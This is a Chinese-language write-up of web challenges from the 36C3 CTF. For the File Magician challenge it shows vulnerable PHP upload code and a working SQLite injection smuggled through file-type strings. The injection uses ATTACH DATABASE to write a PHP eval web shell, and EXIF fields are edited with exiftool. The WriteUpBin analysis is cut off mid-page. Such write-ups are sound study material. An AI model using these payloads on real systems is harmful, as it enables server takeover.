36c3 Web 学习记录
2020-01-13 10:59:00 Author: xz.aliyun.com(查看原文) 阅读量:389 收藏

签到选手不请自来,经过了好几天的琢磨,终于把这次比赛的题目都弄得差不多了,这里记录一下本次比赛 Web 题目的解法,如果师傅们有更好更有意思的解法,欢迎多多与菜鸡交流。非常感谢 @rebirth @wonderkun @wupco 等师傅在我学习本次比赛赛题时候不厌其烦地指导我。

File Magician

Difficulty estimate: easy

Solved:133/321

Points: round(1000 · min(1, 10 / (9 + [133 solves]))) = 70 points

Description:

Finally (again), a minimalistic, open-source file hosting solution.

Download:

file magician-3ace41f3b0282a70.tar.xz (2.1 KiB)

算是 Web 当中的一个签到题,直接给出 Docker 文件源代码,我们可以在本地搭起来试试。

<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('display_startup_errors', 0);
session_start();

if( ! isset($_SESSION['id'])) {
    $_SESSION['id'] = bin2hex(random_bytes(32));
}

$d = '/var/www/html/files/'.$_SESSION['id'] . '/';
@mkdir($d, 0700, TRUE);
chdir($d) || die('chdir');

$db = new PDO('sqlite:' . $d . 'db.sqlite3');
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->exec('CREATE TABLE IF NOT EXISTS upload(id INTEGER PRIMARY KEY, info TEXT);');

if (isset($_FILES['file']) && $_FILES['file']['size'] < 10*1024 ){
    $s = "INSERT INTO upload(info) VALUES ('" .(new finfo)->file($_FILES['file']['tmp_name']). " ');";
    $db->exec($s);
    move_uploaded_file( $_FILES['file']['tmp_name'], $d . $db->lastInsertId()) || die('move_upload_file');
}

$uploads = [];
$sql = 'SELECT * FROM upload';
foreach ($db->query($sql) as $row) {
    $uploads[] = [$row['id'], $row['info']];
}
?>
<!doctype html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>file magician</title>
</head>
<form enctype="multipart/form-data" method="post">
    <input type="file" name="file">
    <input type="submit" value="upload">
</form>
<table>
    <?php foreach($uploads as $upload):?>
        <tr>
            <td><a href="<?= '/files/' . $_SESSION['id'] . '/' . $upload[0] ?>"><?= $upload[0] ?></a></td>
            <td><?= $upload[1] ?></td>
        </tr>
    <?php endforeach?>
</table>

题目功能点就是一个简单的文件上传,然后在自己的 sandbox 当中看到自己的文件类型,文件类型是由(new finfo)->file来判断的,还使用了 sqlite 进行存储文件上传的记录。

由于创建的数据库规定了 id 为自增长的整型主键,而且它使用了lastInsertId()返回最后一次 insert 数据的 id 作为文件名

move_uploaded_file( $_FILES['file']['tmp_name'], $d . $db->lastInsertId()) || die('move_upload_file');

所以我们基本上可以不用考虑是否存在通过可控文件名上传文件 Getshell 的操作了。

纵观整个文件,其实我们可以发现,我们可控制的输入点也只有在文件类型当中,文件类型又被拼入到了 sql 语句当中

$s = "INSERT INTO upload(info) VALUES ('" .(new finfo)->file($_FILES['file']['tmp_name']). " ');";

所以比较明显,我们只能通过这个来进行 sql 注入来进行一些操作了。

我的思路就是 fuzz 一些特殊的文件,可能存在某些文件使用finfo得出来的结果含有单引号什么的,并且我们还能够插入可控数据,于是我就开始 fuzz 文件头,从0x000xff0xff

终于在0x1f0x9d得到一个文件类型是compress'd data,虽然有单引号,但是不存在我们可控的数据。

还有一个是0xfb0x01得到一个文件类型是QDOS object '',看起来很对的样子,有两个单引号,并且我们貌似可以在单引号之间插入数据,我们可以随便测试一下

发现这里被吃掉了一个p,于是我们调整一下 payload 就可以用来注入了。

sqlite 是可以用 .php 文件名来作为存储格式文件的,而且当前目录可写,于是我们就可以通过 sqlite attach 一个 z.php 的方法来写 shell 了。

ATTACH DATABASE 'z.php' AS t;create TABLE t.e (d text);/*
ATTACH DATABASE 'z.php' AS t;insert INTO t.e (d) VALUES ('<?php eval($_POST[a])?>');/*

这里可能需要注意的就是有长度限制,所以我们需要分两次来写 shell

other file

看其他选手的公开的 wp 也是很有趣的一件事,然后从 ctftime 上公开的 wp,我们可以发现还存在着这么一些文件可以用来注入。

TeX DVI file

0xf702 文件头,在填充一定数据后有我们完全可控的数据

jpeg

在 jpeg 的 EXIF 数据段中有用来标识 software 的数据也是我们可控的地方,同样用来标识 comment 的地方我们也可控。于是我们可以使用 exiftool 来修改图片。

exiftool -overwrite_original -comment="payload" -software="payload2" 1.jpg

#!

我们还可以利用#!/的文件来构造 payload

gz

利用gunzip生成的 gz 文件,我们也可以用来注入,我们可控的数据是它的文件名

当然我们也可以直接修改 gz 文件内容

WriteUpBin

Difficulty estimate: medium

Solved:13/321

Points: round(1000 · min(1, 10 / (9 + [13 solves]))) = 455 points

Description:

Finally (again), a minimalistic, open-source social writeup hosting solution.

Download:

WriteupBin-10b65573b511269f.tar.xz

一道比较有意思的侧信道题目,我们可以通过所给附件搭建形式知道,flag 存放在数据库当中,并且是在 admin 用户的第一条 writeup 数据的内容当中,题目提供简单的上传文本的功能,并且可以提交给 admin ,让 admin 给你点赞。

项目结构如下:

.
├── Dockerfile                          //Docker文件
├── admin.py                                //使用selenium模拟admin登录并点赞
├── db.sql                                  //数据库文件
├── docker-stuff
│   ├── default                         //配置文件
│   └── www.conf                        //配置文件
├── www
│   ├── general.php                 //连接数据库设置header头等一些初始化操作
│   ├── html
│   │   ├── add.php                 //添加writeup相关操作
│   │   ├── admin.php               //把writeup提交给admin
│   │   ├── index.php               //入口文件
│   │   ├── like.php                //点赞操作
│   │   ├── login_admin.php //admin登陆操作
│   │   └── show.php                //获取writeup内容
│   └── views
│       ├── header.php          //在页面上方展示目前id提交的writeup
│       ├── home.php                //页面中部用来提供给用户输入的界面
│       └── show.php                //点赞、提交给admin的展示页面
└── ynetd                                       //用来启动 admin.py

既然 flag 在数据库当中,那我们可以首先来看看 show.php ,因为这个文件可以直接用来获取 writeup 的内容。

<?php
include_once '../general.php';

$stmt = $db->prepare('SELECT id, content FROM `writeup` WHERE `id` = ?');
$stmt->bind_param('s', $_GET['id']);
$stmt->execute();
$writeup = mysqli_fetch_all($stmt->get_result(), MYSQLI_ASSOC)[0];


$stmt = $db->prepare('SELECT user_id FROM `like` WHERE `writeup_id` = ?');
$stmt->bind_param('s', $_GET['id']);
$stmt->execute();
$result = $stmt->get_result();
$likes = mysqli_fetch_all($result, MYSQLI_ASSOC);

include('../views/header.php');
include('../views/show.php');

我们可以看到 id 并没有什么鉴权措施,也就是说,我们可以通过 writeup id 来获取 writeup 内容,而 flag writeup id 在 admin 用户数据当中,而在 header.php 中可以看到当前用户所有的 writeup id

<?php foreach($writeups as $w): ?>
  <li><a href="/show.php?id=<?= $w['id'] ?>">Writeup - <?= $w['id'] ?></a></li>
<?php endforeach; ?>

既然有提交代码给 admin 的功能,那么是不是有可能是一个 xss 或者什么的?

我们还可以看到 admin 再收到 writeup 后的主要操作:

display = Display(visible=0, size=(800, 600))
display.start()
chrome_options = Options()
chrome_options.add_argument('--disable-gpu')
chrome_options.add_argument('--headless')
chrome_options.add_argument('--no-sandbox')
driver = webdriver.Chrome('/usr/bin/chromedriver', options=chrome_options)

url = 'http://admin:[email protected]/login_admin.php?id='+writeup_id
driver.get(url)
element = driver.find_element_by_xpath('//input[@id="like"]')
element.click()

driver.quit()
display.stop()

我们可以看到 admin 在进行登录之后使用find_element_by_xpath找到了 id 为 like 的 input 标签,并进行了点击,也就是提交给 admin 的 writeup 后,admin 会浏览进行点击,发送一个点赞请求

```html

<form action="/like.php" method="post">
<input name="c" type="hidden" value="&lt;?= $_SESSION['c'] ?&gt;">
<input name="id" type="hidden" value="&lt;?= $writeup['id'] ?&gt;">
<input id="like" type="submit" value="

</form>


文章来源: http://xz.aliyun.com/t/7081
如有侵权请联系:admin#unsafe.sh